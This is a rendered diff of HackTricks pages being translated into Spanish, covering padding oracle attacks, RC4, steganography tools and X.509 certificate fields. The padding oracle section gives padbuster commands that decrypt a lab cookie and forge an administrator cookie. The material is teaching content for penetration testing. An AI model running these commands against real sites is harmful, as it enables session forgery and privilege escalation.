| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**. Nota cómo en el último ejemplo el **último bloque estaba lleno, así que se generó otro solo con relleno**.
## Padding Oracle ## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados** o una **respuesta más lenta**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**.
### How to exploit ### Cómo explotar
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
Para probar si la cookie de un sitio es vulnerable, podrías intentar:
In order to test if the cookie of a site is vulnerable you could try:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**Encoding 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda).
**Encoding 0** means that **base64** is used (but others are available, check the help menu). También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**:
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de padding, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**.
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
### La teoría
### The theory En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oracle de relleno comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
![](<../images/image (561).png>) ![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "cifrado de bloque de descifrado" generando los **bytes intermedios I0 a I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores (E0 a E7). Así que:
- `C15 = D(E15) ^ E7 = I15 ^ E7` - `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6` - `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4` - `C12 = I12 ^ E4`
- ... - ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Así que, en este caso: `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` Entonces, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.** **Sigue esta cadena hasta que descifres todo el texto cifrado.**
### Detection of the vulnerability ### Detección de la vulnerabilidad
Register and account and log in with this account .\ Registra una cuenta e inicia sesión con esta cuenta.\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá forma de invalidarla**.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. Pero si BF el relleno (usando padbuster por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster.
### References ### Referencias
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo utilizando la función de cifrado.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files** ## **Extracción de Datos de Archivos**
### **Binwalk** ### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). Una herramienta para buscar archivos binarios en busca de archivos y datos ocultos incrustados. Se instala a través de `apt` y su código fuente está disponible en [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash ```bash
binwalk file # Displays the embedded data binwalk file # Displays the embedded data
binwalk -e file # Extracts the data binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data binwalk --dd ".*" file # Extracts all data
``` ```
### **Foremost** ### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Instalado a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost).
```bash ```bash
foremost -i file # Extracts data foremost -i file # Extracts data
``` ```
### **Exiftool** ### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). Ayuda a ver los metadatos del archivo, disponible [aquí](https://www.sno.phy.queensu.ca/~phil/exiftool/).
```bash ```bash
exiftool file # Shows the metadata exiftool file # Shows the metadata
``` ```
### **Exiv2** ### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). Similar a exiftool, para la visualización de metadatos. Instalado a través de `apt`, código fuente en [GitHub](https://github.com/Exiv2/exiv2), y tiene un [sitio web oficial](http://www.exiv2.org/).
```bash ```bash
exiv2 file # Shows the metadata exiv2 file # Shows the metadata
``` ```
### **Archivo**
### **File** Identifica el tipo de archivo con el que estás tratando.
Identify the type of file you're dealing with. ### **Cadenas**
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
Extrae cadenas legibles de archivos, utilizando varias configuraciones de codificación para filtrar la salida.
```bash ```bash
strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings strings -n 6 file | head -n 20 # First 20 strings
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian) strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian) strings -e B -n 6 file # 32bit strings (big-endian)
``` ```
### **Comparación (cmp)**
### **Comparison (cmp)** Útil para comparar un archivo modificado con su versión original encontrada en línea.
Useful for comparing a modified file with its original version found online.
```bash ```bash
cmp original.jpg stego.jpg -b -l cmp original.jpg stego.jpg -b -l
``` ```
## **Extracción de Datos Ocultos en Texto**
## **Extracting Hidden Data in Text** ### **Datos Ocultos en Espacios**
### **Hidden Data in Spaces** Los caracteres invisibles en espacios aparentemente vacíos pueden ocultar información. Para extraer estos datos, visita [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). ## **Extracción de Datos de Imágenes**
## **Extracting Data from Images** ### **Identificación de Detalles de Imágenes con GraphicMagick**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
[GraphicMagick](https://imagemagick.org/script/download.php) sirve para determinar los tipos de archivos de imagen e identificar posibles corrupciones. Ejecuta el siguiente comando para inspeccionar una imagen:
```bash ```bash
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ayudar:
To attempt repair on a damaged image, adding a metadata comment might help:
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
### **Steghide para la Ocultación de Datos**
### **Steghide for Data Concealment** Steghide facilita ocultar datos dentro de archivos `JPEG, BMP, WAV y AU`, capaz de incrustar y extraer datos encriptados. La instalación es sencilla usando `apt`, y su [código fuente está disponible en GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). **Comandos:**
**Commands:** - `steghide info file` revela si un archivo contiene datos ocultos.
- `steghide extract -sf file [--passphrase password]` extrae los datos ocultos, la contraseña es opcional.
- `steghide info file` reveals if a file contains hidden data. Para la extracción basada en la web, visita [este sitio web](https://futureboy.us/stegano/decinput.html).
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). **Ataque de Fuerza Bruta con Stegcracker:**
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
- Para intentar romper la contraseña en Steghide, usa [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera:
```bash ```bash
stegcracker <file> [<wordlist>] stegcracker <file> [<wordlist>]
``` ```
### **zsteg para archivos PNG y BMP**
### **zsteg for PNG and BMP Files** zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [código fuente en GitHub](https://github.com/zed-0xff/zsteg).
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). **Comandos:**
**Commands:** - `zsteg -a file` aplica todos los métodos de detección en un archivo.
- `zsteg -E file` especifica una carga útil para la extracción de datos.
- `zsteg -a file` applies all detection methods on a file. ### **StegoVeritas y Stegsolve**
- `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas and Stegsolve** **stegoVeritas** verifica los metadatos, realiza transformaciones de imagen y aplica fuerza bruta LSB, entre otras características. Usa `stegoveritas.py -h` para una lista completa de opciones y `stegoveritas.py stego.jpg` para ejecutar todas las verificaciones.
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. **Stegsolve** aplica varios filtros de color para revelar textos o mensajes ocultos dentro de las imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). ### **FFT para detección de contenido oculto**
### **FFT for Hidden Content Detection** Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Los recursos útiles incluyen:
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) - [FFTStegPic en GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files** ### **Stegpy para archivos de audio e imagen**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). Stegpy permite incrustar información en archivos de imagen y audio, soportando formatos como PNG, BMP, GIF, WebP y WAV. Está disponible en [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck for PNG File Analysis** ### **Pngcheck para análisis de archivos PNG**
To analyze PNG files or to validate their authenticity, use:
Para analizar archivos PNG o validar su autenticidad, usa:
```bash ```bash
apt-get install pngcheck apt-get install pngcheck
pngcheck stego.png pngcheck stego.png
``` ```
### **Herramientas Adicionales para Análisis de Imágenes**
### **Additional Tools for Image Analysis** Para una exploración adicional, considera visitar:
For further exploration, consider visiting:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/) - [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/) - [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios** ## **Extracción de Datos de Audios**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. **La esteganografía de audio** ofrece un método único para ocultar información dentro de archivos de sonido. Se utilizan diferentes herramientas para incrustar o recuperar contenido oculto.
### **Steghide (JPEG, BMP, WAV, AU)** ### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). Steghide es una herramienta versátil diseñada para ocultar datos en archivos JPEG, BMP, WAV y AU. Se proporcionan instrucciones detalladas en la [documentación de trucos de esteganografía](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)** ### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). Esta herramienta es compatible con una variedad de formatos, incluyendo PNG, BMP, GIF, WebP y WAV. Para más información, consulta la [sección de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg** ### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. ffmpeg es crucial para evaluar la integridad de los archivos de audio, destacando información detallada y señalando cualquier discrepancia.
```bash ```bash
ffmpeg -v info -i stego.mp3 -f null - ffmpeg -v info -i stego.mp3 -f null -
``` ```
### **WavSteg (WAV)** ### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: WavSteg se destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Está disponible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen:
```bash ```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
``` ```
### **Deepsound** ### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). Deepsound permite la encriptación y detección de información dentro de archivos de sonido utilizando AES-256. Se puede descargar desde [the official page](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer** ### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. Una herramienta invaluable para la inspección visual y analítica de archivos de audio, Sonic Visualizer puede revelar elementos ocultos indetectables por otros medios. Visita el [official website](https://www.sonicvisualiser.org/) para más información.
### **DTMF Tones - Dial Tones** ### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). Detectar tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [this DTMF detector](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques** ## **Other Techniques**
### **Binary Length SQRT - QR Code** ### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check: Los datos binarios que se elevan al cuadrado para dar un número entero podrían representar un código QR. Usa este fragmento para verificar:
```python ```python
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
``` ```
Para la conversión de binario a imagen, consulta [dcode](https://www.dcode.fr/binary-image). Para leer códigos QR, utiliza [este lector de códigos de barras en línea](https://online-barcode-reader.inliteresearch.com/).
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). ### **Traducción de Braille**
### **Braille Translation** Para traducir Braille, el [Branah Braille Translator](https://www.branah.com/braille-translator) es un excelente recurso.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. ## **Referencias**
## **References**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

View File

@ -1,47 +1,38 @@
# Certificates # Certificados
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> ## Qué es un Certificado
\ Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave.
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) en una [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Otro método es la [web de confianza](https://en.wikipedia.org/wiki/Web_of_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280.
## What is a Certificate ## Campos Comunes de x509
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. ### **Campos Comunes en Certificados x509**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. En los certificados x509, varios **campos** juegan roles críticos para asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos:
## x509 Common Fields - **Número de Versión** significa la versión del formato x509.
- **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
- El campo **Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como:
- **Nombre Común (CN)**: Dominios cubiertos por el certificado.
- **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S, o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
- **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
- **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
- El **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha.
- La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública.
- Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado.
### **Common Fields in x509 Certificates** #### **Uso de Clave y Extensiones**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
- **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como la firma digital o el cifrado de clave.
- **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para la autenticación de servidores TLS.
- **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
- Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de Autoridad** aseguran la unicidad y trazabilidad de las claves.
- **Acceso a Información de Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado.
- **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file) # Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file: with open("cert.pem", "rb") as file:
cert_data = file.read() cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields # Accessing fields
serial_number = certificate.serial_number serial_number = certificate.serial_number
@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **Diferencia entre OCSP y Puntos de Distribución de CRL**
### **Difference between OCSP and CRL Distribution Points** **OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRLs pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). ### **Qué es la Transparencia de Certificados**
### **What is Certificate Transparency** La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: - Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
